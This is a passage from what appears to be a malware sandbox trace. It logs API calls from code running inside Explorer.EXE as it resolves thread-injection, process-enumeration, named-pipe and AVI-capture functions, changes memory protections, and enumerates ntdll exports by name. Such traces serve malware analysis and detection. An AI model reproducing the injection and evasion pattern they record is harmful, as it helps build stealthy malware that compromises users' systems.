ProcedureAddress=0x6adfe90*=0x77051870) returned 0x0 [0042.469] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770571b0) returned 0x0 [0042.470] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770635f0) returned 0x0 [0042.470] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705bdd0) returned 0x0 [0042.470] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704f9d0) returned 0x0 [0042.471] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704ec70) returned 0x0 [0042.471] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b2fc0) returned 0x0 [0042.471] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77057210) returned 0x0 [0042.472] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a0ca0) returned 0x0 [0042.472] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77042ce0) returned 0x0 [0042.472] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a1bc0) returned 0x0 [0042.473] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062b20) returned 0x0 [0042.473] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062b90) returned 0x0 [0042.473] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704d130) returned 0x0 [0042.474] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771b3000) returned 0x0 [0042.474] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062df0) returned 0x0 [0042.474] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77188100) returned 0x0 [0042.475] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77056640) returned 0x0 [0042.475] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77063690) returned 0x0 [0042.475] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770513e0) returned 0x0 [0042.476] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77057230) returned 0x0 [0042.476] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770512b0) returned 0x0 [0042.477] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770567a0) returned 0x0 [0042.477] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705bdf0) returned 0x0 [0042.477] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708c0c0) returned 0x0 [0042.478] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bac0) returned 0x0 [0042.478] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705c4c0) returned 0x0 [0042.478] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77057100) returned 0x0 [0042.479] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062bd0) returned 0x0 [0042.480] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77055cd0) returned 0x0 [0042.480] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77056620) returned 0x0 [0042.480] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77056f80) returned 0x0 [0042.481] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704d910) returned 0x0 [0042.481] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051500) returned 0x0 [0042.482] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051150) returned 0x0 [0042.482] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708aa70) returned 0x0 [0042.482] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704ce10) returned 0x0 [0042.483] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770421e0) returned 0x0 [0042.483] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705c560) returned 0x0 [0042.483] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77055a50) returned 0x0 [0042.484] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708a980) returned 0x0 [0042.484] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708c380) returned 0x0 [0042.484] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708c320) returned 0x0 [0042.485] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770420d0) returned 0x0 [0042.485] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77048800) returned 0x0 [0042.485] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77090000) returned 0x0 [0042.486] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708c460) returned 0x0 [0042.486] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770469f0) returned 0x0 [0042.486] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a29d0) returned 0x0 [0042.487] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a2ba0) returned 0x0 [0042.487] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77063540) returned 0x0 [0042.487] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a27e0) returned 0x0 [0042.488] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bd70) returned 0x0 [0042.488] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77044f80) returned 0x0 [0042.489] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x771840f0) returned 0x0 [0042.489] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77243ad0) returned 0x0 [0042.489] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7705bd20) returned 0x0 [0042.490] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a2040) returned 0x0 [0042.490] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770577c0) returned 0x0 [0042.490] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7722c2d0) returned 0x0 [0042.491] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bda0) returned 0x0 [0042.491] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77062bb0) returned 0x0 [0042.491] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051930) returned 0x0 [0042.492] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704cf10) returned 0x0 [0042.492] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77041e00) returned 0x0 [0042.492] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770420f0) returned 0x0 [0042.493] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770480a0) returned 0x0 [0042.493] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x77051370) returned 0x0 [0042.493] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7704b210) returned 0x0 [0042.494] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770a0da0) returned 0x0 [0042.494] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x770d8840) returned 0x0 [0042.494] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7708bb70) returned 0x0 [0042.494] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x6adfea8 | out: BaseAddress=0x6adfea8*=0x7fef87e0000) returned 0x0 [0042.504] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e6f58) returned 0x0 [0042.504] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e7d88) returned 0x0 [0042.504] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e761c) returned 0x0 [0042.505] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e761c) returned 0x0 [0042.505] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e7848) returned 0x0 [0042.506] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e7364) returned 0x0 [0042.506] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e7568) returned 0x0 [0042.506] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e77e0) returned 0x0 [0042.507] LdrGetProcedureAddress (in: BaseAddress=0x7fef87e0000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x6adfe90 | out: ProcedureAddress=0x6adfe90*=0x7fef87e6f2c) returned 0x0 [0042.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adfe98*=0x94b0000, NumberOfBytesToProtect=0x6adfea0, NewAccessProtection=0x4, OldAccessProtection=0x6adfe90 | out: BaseAddress=0x6adfe98*=0x94b0000, NumberOfBytesToProtect=0x6adfea0, OldAccessProtection=0x6adfe90*=0x40) returned 0x0 [0042.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adfe30*=0x94b1000, NumberOfBytesToProtect=0x6adfea0, NewAccessProtection=0x20, OldAccessProtection=0x6adfe90 | out: BaseAddress=0x6adfe30*=0x94b1000, NumberOfBytesToProtect=0x6adfea0, OldAccessProtection=0x6adfe90*=0x40) returned 0x0 [0042.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adfe30*=0x94ea000, NumberOfBytesToProtect=0x6adfea0, NewAccessProtection=0x2, OldAccessProtection=0x6adfe90 | out: BaseAddress=0x6adfe30*=0x94ea000, NumberOfBytesToProtect=0x6adfea0, OldAccessProtection=0x6adfe90*=0x40) returned 0x0 [0042.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adfe30*=0x9514000, NumberOfBytesToProtect=0x6adfea0, NewAccessProtection=0x4, OldAccessProtection=0x6adfe90 | out: BaseAddress=0x6adfe30*=0x9514000, NumberOfBytesToProtect=0x6adfea0, OldAccessProtection=0x6adfe90*=0x40) returned 0x0 [0042.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adfe30*=0x9519000, NumberOfBytesToProtect=0x6adfea0, NewAccessProtection=0x2, OldAccessProtection=0x6adfe90 | out: BaseAddress=0x6adfe30*=0x9519000, NumberOfBytesToProtect=0x6adfea0, OldAccessProtection=0x6adfe90*=0x40) returned 0x0 [0042.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adfe30*=0x951b000, NumberOfBytesToProtect=0x6adfea0, NewAccessProtection=0x4, OldAccessProtection=0x6adfe90 | out: BaseAddress=0x6adfe30*=0x951b000, NumberOfBytesToProtect=0x6adfea0, OldAccessProtection=0x6adfe90*=0x40) returned 0x0 [0042.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x6adfe30*=0x951d000, NumberOfBytesToProtect=0x6adfea0, NewAccessProtection=0x2, OldAccessProtection=0x6adfe90 | out: BaseAddress=0x6adfe30*=0x951d000, NumberOfBytesToProtect=0x6adfea0, OldAccessProtection=0x6adfe90*=0x40) returned 0x0 [0042.516] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x9770000 [0042.527] GetTickCount () returned 0x1ae29 [0042.527] GetModuleHandleA (lpModuleName=0x0) returned 0xffb60000 [0042.527] GetVersion () returned 0x1db10106 [0042.527] GetCurrentProcessId () returned 0x458 [0042.527] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x11f0 [0042.527] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6d2f0 [0042.528] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x9b6d2f0, nSize=0x104 | out: lpFilename="C:\\Windows\\Explorer.EXE" (normalized: "c:\\windows\\explorer.exe")) returned 0x17 [0042.528] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1800) returned 0x9b6d500 [0042.529] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6d500 | out: hHeap=0x9770000) returned 1 [0042.530] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0042.530] GetProcAddress (hModule=0x77040000, lpProcName="IsWow64Process") returned 0x770491d0 [0042.530] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x458) returned 0x1214 [0042.530] IsWow64Process (in: hProcess=0x1214, Wow64Process=0x6adfd90 | out: Wow64Process=0x6adfd90) returned 1 [0042.530] CloseHandle (hObject=0x1214) returned 1 [0042.530] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77160000 [0042.531] lstrlenA (lpString="A_SHAFinal") returned 10 [0042.531] lstrlenA (lpString="A_SHAInit") returned 9 [0042.531] lstrlenA (lpString="A_SHAUpdate") returned 11 [0042.531] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0042.531] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0042.532] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0042.532] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0042.532] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0042.532] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0042.532] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0042.532] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0042.532] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0042.532] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0042.532] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0042.532] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0042.532] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0042.532] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0042.532] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0042.532] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0042.532] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0042.532] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0042.532] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0042.532] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0042.532] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0042.532] lstrlenA (lpString="CsrClientCallServer") returned 19 [0042.532] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0042.532] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0042.532] lstrlenA (lpString="CsrGetProcessId") returned 15 [0042.532] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0042.532] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0042.532] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0042.532] lstrlenA (lpString="DbgBreakPoint") returned 13 [0042.532] lstrlenA (lpString="DbgPrint") returned 8 [0042.532] lstrlenA (lpString="DbgPrintEx") returned 10 [0042.532] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0042.532] lstrlenA (lpString="DbgPrompt") returned 9 [0042.532] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0042.532] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0042.532] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0042.532] lstrlenA (lpString="DbgUiContinue") returned 13 [0042.532] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0042.532] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0042.532] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0042.532] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0042.532] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0042.532] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0042.532] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0042.533] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0042.533] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0042.533] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0042.533] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0042.533] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0042.533] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0042.533] lstrlenA (lpString="EtwEventEnabled") returned 15 [0042.533] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0042.533] lstrlenA (lpString="EtwEventRegister") returned 16 [0042.533] lstrlenA (lpString="EtwEventUnregister") returned 18 [0042.533] lstrlenA (lpString="EtwEventWrite") returned 13 [0042.533] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0042.533] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0042.533] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0042.533] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0042.533] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0042.533] lstrlenA (lpString="EtwEventWriteString") returned 19 [0042.533] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0042.533] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0042.533] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0042.533] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0042.533] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0042.533] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0042.533] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0042.533] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0042.533] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0042.533] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0042.533] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0042.533] lstrlenA (lpString="EtwReplyNotification") returned 20 [0042.533] lstrlenA (lpString="EtwSendNotification") returned 19 [0042.533] lstrlenA (lpString="EtwSetMark") returned 10 [0042.533] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0042.533] lstrlenA (lpString="EtwTraceMessage") returned 15 [0042.533] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0042.533] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0042.533] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0042.533] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0042.533] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0042.533] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0042.533] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0042.533] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0042.533] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0042.534] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd16") returned 32 [0042.534] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0042.534] lstrlenA (lpString="ExpInterlockedPopEntrySListFault16") returned 34 [0042.534] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0042.534] lstrlenA (lpString="ExpInterlockedPopEntrySListResume16") returned 35 [0042.534] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0042.534] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0042.534] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0042.534] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0042.534] lstrlenA (lpString="LdrAccessResource") returned 17 [0042.534] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0042.534] lstrlenA (lpString="LdrAddRefDll") returned 12 [0042.534] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0042.534] lstrlenA (lpString="LdrEnumResources") returned 16 [0042.534] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0042.534] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0042.534] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0042.534] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0042.534] lstrlenA (lpString="LdrFindResource_U") returned 17 [0042.534] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0042.534] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0042.534] lstrlenA 